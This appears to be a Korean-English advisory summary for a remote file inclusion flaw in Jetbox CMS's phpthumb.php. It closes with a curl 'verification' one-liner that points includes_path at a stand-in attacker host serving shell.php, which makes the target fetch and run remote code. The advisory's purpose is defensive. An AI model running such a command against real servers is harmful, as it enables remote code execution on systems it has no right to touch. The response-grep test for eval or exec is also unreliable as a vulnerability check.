🇰🇷 한글 설명
Jetbox CMS의 phpthumb.php 파일에서 PHP 원격 파일 포함(RFI) 취약점이 발견되었으며, includes_path 파라미터를 통해 원격 공격자가 악의적인 PHP 코드를 실행할 수 있습니다. 이를 통해 웹 서버에 완전한 접근 권한을 획득하거나 시스템을 장악할 수 있습니다.
💡 쉬운 설명
웹사이트 프로그램(Jetbox CMS)의 특정 파일에 보안 구멍이 있어서 누군가 인터넷을 통해 악성 명령어를 몰래 실행할 수 있습니다. 이는 마치 집 문이 제대로 잠겨있지 않아 침입자가 들어올 수 있는 것처럼 위험합니다.
🇺🇸 원문 (English)
PHP remote file inclusion vulnerability in phpthumb.php in Jetbox CMS allows remote attackers to execute arbitrary PHP code via a URL in the includes_path parameter. NOTE: The relative_script_path vector is already covered by CVE-2006-2270.
📍 영향받는 시스템
Jetbox CMS (phpthumb.php 파일 포함하는 모든 버전)
⚔️ 공격 벡터
includes_path 파라미터에 외부 악성 PHP 파일 URL을 입력하여 원격 코드 실행
🛡️ 대응 방법
Jetbox CMS를 최신 보안 패치가 적용된 버전으로 업그레이드하거나 includes_path 파라미터 검증 기능 활성화
🔧 검증 코드
eval, assert, system, exec 등의 함수가 응답에 포함되면 취약점이 존재하며, 포함되지 않으면 패치된 상태입니다.
curl -s 'http://target/phpthumb.php?includes_path=http://attacker.com/shell.php' -H 'User-Agent: Mozilla' 2>/dev/null | grep -E '(eval|assert|system|exec)' && echo 'VULNERABLE'